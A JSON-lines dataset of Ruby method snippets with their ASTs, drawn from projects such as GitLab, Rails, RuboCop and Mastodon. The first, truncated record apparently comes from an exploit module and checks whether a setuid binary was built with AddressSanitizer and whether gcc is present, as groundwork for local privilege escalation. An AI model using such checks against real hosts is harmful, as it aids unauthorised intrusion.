setuid\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"readable?\",{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"suid_exe_path\"]},{\"type\":\"send\",\"children\":[null,\"command_exists?\",{\"type\":\"str\",\"children\":[\"ldd\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"ldd \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"suid_exe_path\"]}]}]}]},\"to_s\"]},\"include?\",{\"type\":\"str\",\"children\":[\"libasan.so\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"suid_exe_path\"]}]},{\"type\":\"str\",\"children\":[\" was not compiled with ASan\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"ASAN_OPTIONS=help=1 \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"suid_exe_path\"]}]}]}]},\"include?\",{\"type\":\"str\",\"children\":[\"AddressSanitizer\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"suid_exe_path\"]}]},{\"type\":\"str\",\"children\":[\" was not compiled with ASan\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"suid_exe_path\"]}]},{\"type\":\"str\",\"children\":[\" was compiled with ASan\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"has_gcc?\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"gcc is not installed. Compiling will fail.\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_good\",{\"type\":\"str\",\"children\":[\"gcc is installed\"]}]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Appears\"]}]}]}","id":"d6717fa6-20b5-4937-8b17-20475d181d4a"} {"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/db/migrate/20231214180001_update_relationship_between_chat_mentions_and_notifications.rb","start_line":7,"raw_source":"def up\n begin\n inserted_count = DB.exec(<<~SQL, batch_size: BATCH_SIZE)\n INSERT INTO chat_mention_notifications(chat_mention_id, notification_id)\n SELECT cm.id, cm.notification_id\n FROM chat_mentions cm\n LEFT JOIN chat_mention_notifications cmn ON cmn.chat_mention_id = cm.id\n WHERE cm.notification_id IS NOT NULL and cmn.chat_mention_id IS NULL\n LIMIT :batch_size;\n SQL\n end while inserted_count > 0\n end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"while_post\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"inserted_count\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"inserted_count\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"INSERT INTO chat_mention_notifications(chat_mention_id, notification_id)\\n\"]},{\"type\":\"str\",\"children\":[\"SELECT cm.id, cm.notification_id\\n\"]},{\"type\":\"str\",\"children\":[\"FROM chat_mentions cm\\n\"]},{\"type\":\"str\",\"children\":[\"LEFT JOIN chat_mention_notifications cmn ON cmn.chat_mention_id = cm.id\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE cm.notification_id IS NOT NULL and cmn.chat_mention_id IS NULL\\n\"]},{\"type\":\"str\",\"children\":[\"LIMIT :batch_size;\\n\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"batch_size\"]},{\"type\":\"const\",\"children\":[null,\"BATCH_SIZE\"]}]}]}]}]}]}]}]}","id":"b4a601af-6cb7-4667-ac8f-da334da67258"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-housekeeper/lib/gitlab/housekeeper/runner.rb","start_line":215,"raw_source":"def self.should_push_code?(change, push_when_approved)\n return false if change.already_approved? && !push_when_approved\n\n change.update_required?(:code)\n end","complexity_score":5.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"should_push_code?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"change\"]},{\"type\":\"arg\",\"children\":[\"push_when_approved\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"change\"]},\"already_approved?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"push_when_approved\"]},\"!\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"change\"]},\"update_required?\",{\"type\":\"sym\",\"children\":[\"code\"]}]}]}]}","id":"23a56b75-9946-4e37-a1ea-ce101511a456"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/multiline_method_signature.rb","start_line":73,"raw_source":"def closing_line(node)\n node.arguments.last_line\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"closing_line\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"arguments\"]},\"last_line\"]}]}","id":"dc48cfa4-c39e-42e2-b46c-727889fa6dfc"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/postgresql/schema_test.rb","start_line":259,"raw_source":"def test_data_source_exists?\n [Thing1, Thing2, Thing3, Thing4].each do |klass|\n name = klass.table_name\n assert @connection.data_source_exists?(name), \"'#{name}' data_source should exist\"\n end\n end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_data_source_exists?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Thing1\"]},{\"type\":\"const\",\"children\":[null,\"Thing2\"]},{\"type\":\"const\",\"children\":[null,\"Thing3\"]},{\"type\":\"const\",\"children\":[null,\"Thing4\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"klass\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"table_name\"]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"data_source_exists?\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"'\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"str\",\"children\":[\"' data_source should exist\"]}]}]}]}]}]}","id":"2756f049-54b5-4c4f-9237-bf5d642c3e19"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/auth/saml/config.rb","start_line":37,"raw_source":"def enabled?\n ::AuthHelper.saml_providers.any?\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"enabled?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"AuthHelper\"]},\"saml_providers\"]},\"any?\"]}]}","id":"a0fffca7-2502-4d13-86d8-1e4c4634e382"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/popen/runner_spec.rb","start_line":116,"raw_source":"def run_command(\n command: 'command',\n stdout: 'stdout',\n stderr: '',\n exitstatus: 0,\n status: double(exitstatus: exitstatus, success?: exitstatus == 0),\n duration: 0.1\n )\n result =\n Gitlab::Popen::Result.new(command, stdout, stderr, status, duration)\n\n allow(Gitlab::Popen)\n .to receive(:popen_with_detail)\n .and_return(result)\n\n subject.run([command]) do |cmd, &run|\n expect(cmd).to eq(command)\n\n cmd_result = run.call\n\n expect(cmd_result).to eq(result)\n end\n\n subject.results.first\n end","complexity_score":26.45,"ast_json":"{\"type\":\"def\",\"children\":[\"run_command\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"command\",{\"type\":\"str\",\"children\":[\"command\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"stdout\",{\"type\":\"str\",\"children\":[\"stdout\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"stderr\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"exitstatus\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"kwoptarg\",\"children\":[\"status\",{\"type\":\"send\",\"children\":[null,\"double\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"exitstatus\"]},{\"type\":\"lvar\",\"children\":[\"exitstatus\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"success?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exitstatus\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]}]}]}]}]},{\"type\":\"kwoptarg\",\"children\":[\"duration\",{\"type\":\"float\",\"children\":[0.1]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Popen\"]},\"Result\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"command\"]},{\"type\":\"lvar\",\"children\":[\"stdout\"]},{\"type\":\"lvar\",\"children\":[\"stderr\"]},{\"type\":\"lvar\",\"children\":[\"status\"]},{\"type\":\"lvar\",\"children\":[\"duration\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Popen\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"popen_with_detail\"]}]},\"and_return\",{\"type\":\"lvar\",\"children\":[\"result\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"subject\"]},\"run\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cmd\"]},{\"type\":\"blockarg\",\"children\":[\"run\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"lvar\",\"children\":[\"cmd\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"eq\",{\"type\":\"lvar\",\"children\":[\"command\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"cmd_result\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"run\"]},\"call\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"lvar\",\"children\":[\"cmd_result\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"eq\",{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"subject\"]},\"results\"]},\"first\"]}]}]}","id":"5dd3aa11-a227-4add-a163-c087eb6685d0"} {"repo_name":"rouge","file_path":"./repos/rouge/lib/rouge/lexers/vb.rb","start_line":13,"raw_source":"def self.keywords\n @keywords ||= Set.new %w(\n AddHandler Alias ByRef ByVal CBool CByte CChar CDate CDbl CDec\n CInt CLng CObj CSByte CShort CSng CStr CType CUInt CULng CUShort\n Call Case Catch Class Const Continue Declare Default Delegate\n Dim DirectCast Do Each Else ElseIf End EndIf Enum Erase Error\n Event Exit False Finally For Friend Function Get Global GoSub\n GoTo Handles If Implements Imports Inherits Interface Let\n Lib Loop Me Module MustInherit MustOverride MyBase MyClass\n Namespace Narrowing New Next Not NotInheritable NotOverridable\n Nothing Of On Operator Option Optional Overloads Overridable\n Overrides ParamArray Partial Private Property Protected Public\n RaiseEvent ReDim ReadOnly RemoveHandler Resume Return Select Set\n Shadows Shared Single Static Step Stop Structure Sub SyncLock\n Then Throw To True Try TryCast Using Wend When While Widening\n With WithEvents WriteOnly\n )\n end","complexity_score":2.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"keywords\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@keywords\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Set\"]},\"new\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"AddHandler\"]},{\"type\":\"str\",\"children\":[\"Alias\"]},{\"type\":\"str\",\"children\":[\"ByRef\"]},{\"type\":\"str\",\"children\":[\"ByVal\"]},{\"type\":\"str\",\"children\":[\"CBool\"]},{\"type\":\"str\",\"children\":[\"CByte\"]},{\"type\":\"str\",\"children\":[\"CChar\"]},{\"type\":\"str\",\"children\":[\"CDate\"]},{\"type\":\"str\",\"children\":[\"CDbl\"]},{\"type\":\"str\",\"children\":[\"CDec\"]},{\"type\":\"str\",\"children\":[\"CInt\"]},{\"type\":\"str\",\"children\":[\"CLng\"]},{\"type\":\"str\",\"children\":[\"CObj\"]},{\"type\":\"str\",\"children\":[\"CSByte\"]},{\"type\":\"str\",\"children\":[\"CShort\"]},{\"type\":\"str\",\"children\":[\"CSng\"]},{\"type\":\"str\",\"children\":[\"CStr\"]},{\"type\":\"str\",\"children\":[\"CType\"]},{\"type\":\"str\",\"children\":[\"CUInt\"]},{\"type\":\"str\",\"children\":[\"CULng\"]},{\"type\":\"str\",\"children\":[\"CUShort\"]},{\"type\":\"str\",\"children\":[\"Call\"]},{\"type\":\"str\",\"children\":[\"Case\"]},{\"type\":\"str\",\"children\":[\"Catch\"]},{\"type\":\"str\",\"children\":[\"Class\"]},{\"type\":\"str\",\"children\":[\"Const\"]},{\"type\":\"str\",\"children\":[\"Continue\"]},{\"type\":\"str\",\"children\":[\"Declare\"]},{\"type\":\"str\",\"children\":[\"Default\"]},{\"type\":\"str\",\"children\":[\"Delegate\"]},{\"type\":\"str\",\"children\":[\"Dim\"]},{\"type\":\"str\",\"children\":[\"DirectCast\"]},{\"type\":\"str\",\"children\":[\"Do\"]},{\"type\":\"str\",\"children\":[\"Each\"]},{\"type\":\"str\",\"children\":[\"Else\"]},{\"type\":\"str\",\"children\":[\"ElseIf\"]},{\"type\":\"str\",\"children\":[\"End\"]},{\"type\":\"str\",\"children\":[\"EndIf\"]},{\"type\":\"str\",\"children\":[\"Enum\"]},{\"type\":\"str\",\"children\":[\"Erase\"]},{\"type\":\"str\",\"children\":[\"Error\"]},{\"type\":\"str\",\"children\":[\"Event\"]},{\"type\":\"str\",\"children\":[\"Exit\"]},{\"type\":\"str\",\"children\":[\"False\"]},{\"type\":\"str\",\"children\":[\"Finally\"]},{\"type\":\"str\",\"children\":[\"For\"]},{\"type\":\"str\",\"children\":[\"Friend\"]},{\"type\":\"str\",\"children\":[\"Function\"]},{\"type\":\"str\",\"children\":[\"Get\"]},{\"type\":\"str\",\"children\":[\"Global\"]},{\"type\":\"str\",\"children\":[\"GoSub\"]},{\"type\":\"str\",\"children\":[\"GoTo\"]},{\"type\":\"str\",\"children\":[\"Handles\"]},{\"type\":\"str\",\"children\":[\"If\"]},{\"type\":\"str\",\"children\":[\"Implements\"]},{\"type\":\"str\",\"children\":[\"Imports\"]},{\"type\":\"str\",\"children\":[\"Inherits\"]},{\"type\":\"str\",\"children\":[\"Interface\"]},{\"type\":\"str\",\"children\":[\"Let\"]},{\"type\":\"str\",\"children\":[\"Lib\"]},{\"type\":\"str\",\"children\":[\"Loop\"]},{\"type\":\"str\",\"children\":[\"Me\"]},{\"type\":\"str\",\"children\":[\"Module\"]},{\"type\":\"str\",\"children\":[\"MustInherit\"]},{\"type\":\"str\",\"children\":[\"MustOverride\"]},{\"type\":\"str\",\"children\":[\"MyBase\"]},{\"type\":\"str\",\"children\":[\"MyClass\"]},{\"type\":\"str\",\"children\":[\"Namespace\"]},{\"type\":\"str\",\"children\":[\"Narrowing\"]},{\"type\":\"str\",\"children\":[\"New\"]},{\"type\":\"str\",\"children\":[\"Next\"]},{\"type\":\"str\",\"children\":[\"Not\"]},{\"type\":\"str\",\"children\":[\"NotInheritable\"]},{\"type\":\"str\",\"children\":[\"NotOverridable\"]},{\"type\":\"str\",\"children\":[\"Nothing\"]},{\"type\":\"str\",\"children\":[\"Of\"]},{\"type\":\"str\",\"children\":[\"On\"]},{\"type\":\"str\",\"children\":[\"Operator\"]},{\"type\":\"str\",\"children\":[\"Option\"]},{\"type\":\"str\",\"children\":[\"Optional\"]},{\"type\":\"str\",\"children\":[\"Overloads\"]},{\"type\":\"str\",\"children\":[\"Overridable\"]},{\"type\":\"str\",\"children\":[\"Overrides\"]},{\"type\":\"str\",\"children\":[\"ParamArray\"]},{\"type\":\"str\",\"children\":[\"Partial\"]},{\"type\":\"str\",\"children\":[\"Private\"]},{\"type\":\"str\",\"children\":[\"Property\"]},{\"type\":\"str\",\"children\":[\"Protected\"]},{\"type\":\"str\",\"children\":[\"Public\"]},{\"type\":\"str\",\"children\":[\"RaiseEvent\"]},{\"type\":\"str\",\"children\":[\"ReDim\"]},{\"type\":\"str\",\"children\":[\"ReadOnly\"]},{\"type\":\"str\",\"children\":[\"RemoveHandler\"]},{\"type\":\"str\",\"children\":[\"Resume\"]},{\"type\":\"str\",\"children\":[\"Return\"]},{\"type\":\"str\",\"children\":[\"Select\"]},{\"type\":\"str\",\"children\":[\"Set\"]},{\"type\":\"str\",\"children\":[\"Shadows\"]},{\"type\":\"str\",\"children\":[\"Shared\"]},{\"type\":\"str\",\"children\":[\"Single\"]},{\"type\":\"str\",\"children\":[\"Static\"]},{\"type\":\"str\",\"children\":[\"Step\"]},{\"type\":\"str\",\"children\":[\"Stop\"]},{\"type\":\"str\",\"children\":[\"Structure\"]},{\"type\":\"str\",\"children\":[\"Sub\"]},{\"type\":\"str\",\"children\":[\"SyncLock\"]},{\"type\":\"str\",\"children\":[\"Then\"]},{\"type\":\"str\",\"children\":[\"Throw\"]},{\"type\":\"str\",\"children\":[\"To\"]},{\"type\":\"str\",\"children\":[\"True\"]},{\"type\":\"str\",\"children\":[\"Try\"]},{\"type\":\"str\",\"children\":[\"TryCast\"]},{\"type\":\"str\",\"children\":[\"Using\"]},{\"type\":\"str\",\"children\":[\"Wend\"]},{\"type\":\"str\",\"children\":[\"When\"]},{\"type\":\"str\",\"children\":[\"While\"]},{\"type\":\"str\",\"children\":[\"Widening\"]},{\"type\":\"str\",\"children\":[\"With\"]},{\"type\":\"str\",\"children\":[\"WithEvents\"]},{\"type\":\"str\",\"children\":[\"WriteOnly\"]}]}]}]}]}","id":"b5712fb0-2379-4206-b0d5-ad98fc02752c"} {"repo_name":"mastodon","file_path":"./repos/mastodon/app/serializers/activitypub/remove_serializer.rb","start_line":7,"raw_source":"def serializable_hash(*_args)\n ActivityPub::TagManager.instance.uri_for(object)\n end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"serializable_hash\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"_args\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActivityPub\"]},\"TagManager\"]},\"instance\"]},\"uri_for\",{\"type\":\"send\",\"children\":[null,\"object\"]}]}]}","id":"d6594498-faed-4607-9b40-ca78fbaa1ea1"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/spec/common/storages/adapters/providers/nextcloud/commands/add_user_to_group_command_spec.rb","start_line":133,"raw_source":"def remove_group(authentication, storage, group)\n authentication.call(storage:, http_options: { headers: { \"OCS-APIRequest\" => \"true\" } }) do |http|\n http.delete(UrlBuilder.url(storage.uri, \"/ocs/v1.php/cloud/groups\", group))\n end\n end","complexity_score":5.9,"ast_json":"{\"type\":\"def\",\"children\":[\"remove_group\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"authentication\"]},{\"type\":\"arg\",\"children\":[\"storage\"]},{\"type\":\"arg\",\"children\":[\"group\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"authentication\"]},\"call\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"storage\"]},{\"type\":\"lvar\",\"children\":[\"storage\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"http_options\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"OCS-APIRequest\"]},{\"type\":\"str\",\"children\":[\"true\"]}]}]}]}]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"http\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"http\"]},\"delete\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UrlBuilder\"]},\"url\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"storage\"]},\"uri\"]},{\"type\":\"str\",\"children\":[\"/ocs/v1.php/cloud/groups\"]},{\"type\":\"lvar\",\"children\":[\"group\"]}]}]}]}]}","id":"50e0c1d6-8db6-439f-8601-9a9e4d7a9f23"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/lint/erb_new_arguments.rb","start_line":104,"raw_source":"def message(positional_argument_index, arg_value)\n case positional_argument_index\n when 0\n MESSAGE_SAFE_LEVEL\n when 1\n format(MESSAGE_TRIM_MODE, arg_value: arg_value)\n when 2\n format(MESSAGE_EOUTVAR, arg_value: arg_value)\n end\n end","complexity_score":7.3,"ast_json":"{\"type\":\"def\",\"children\":[\"message\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"positional_argument_index\"]},{\"type\":\"arg\",\"children\":[\"arg_value\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"positional_argument_index\"]},{\"type\":\"when\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"const\",\"children\":[null,\"MESSAGE_SAFE_LEVEL\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"const\",\"children\":[null,\"MESSAGE_TRIM_MODE\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"arg_value\"]},{\"type\":\"lvar\",\"children\":[\"arg_value\"]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"int\",\"children\":[2]},{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"const\",\"children\":[null,\"MESSAGE_EOUTVAR\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"arg_value\"]},{\"type\":\"lvar\",\"children\":[\"arg_value\"]}]}]}]}]},null]}]}","id":"aaf3800d-9443-4e56-9e5f-3a7d9f9d74ba"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/arel/nodes/casted.rb","start_line":15,"raw_source":"def nil?; value.nil?; end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"nil?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"value\"]},\"nil?\"]}]}","id":"c8fa2219-a309-4432-aaa3-c682ef650b61"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/namespaces/projects/invited_groups_finder.rb","start_line":20,"raw_source":"def initialize(project, current_user = nil, params = {})\n @project = project\n @current_user = current_user\n @params = params\n end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]},{\"type\":\"optarg\",\"children\":[\"current_user\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"params\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@project\",{\"type\":\"lvar\",\"children\":[\"project\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@current_user\",{\"type\":\"lvar\",\"children\":[\"current_user\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@params\",{\"type\":\"lvar\",\"children\":[\"params\"]}]}]}]}","id":"69a12459-c186-4240-8459-be8693034287"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/bitbucket/representation/comment.rb","start_line":14,"raw_source":"def note\n raw.fetch('content', {}).fetch('raw', nil)\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"note\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"raw\"]},\"fetch\",{\"type\":\"str\",\"children\":[\"content\"]},{\"type\":\"hash\",\"children\":[]}]},\"fetch\",{\"type\":\"str\",\"children\":[\"raw\"]},{\"type\":\"nil\",\"children\":[]}]}]}","id":"35e3a93b-2ce6-4c38-ae64-cfc81c0703f5"} {"repo_name":"rails","file_path":"./repos/rails/activemodel/test/models/person_with_validator.rb","start_line":7,"raw_source":"def validate_each(record, attribute, value)\n record.errors.add(attribute, message: \"Local validator#{options[:custom]}\") if value.blank?\n end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_each\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"record\"]},{\"type\":\"arg\",\"children\":[\"attribute\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"errors\"]},\"add\",{\"type\":\"lvar\",\"children\":[\"attribute\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Local validator\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"custom\"]}]}]}]}]}]}]},null]}]}","id":"be4873ba-8b76-4b8b-b902-62470b9cdba5"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/super_with_args_parentheses.rb","start_line":23,"raw_source":"def on_super(node)\n return if node.parenthesized?\n\n add_offense(node) do |corrector|\n range = node.loc.keyword.end.join(node.first_argument.source_range.begin)\n corrector.replace(range, '(')\n corrector.insert_after(node.last_argument, ')')\n end\n 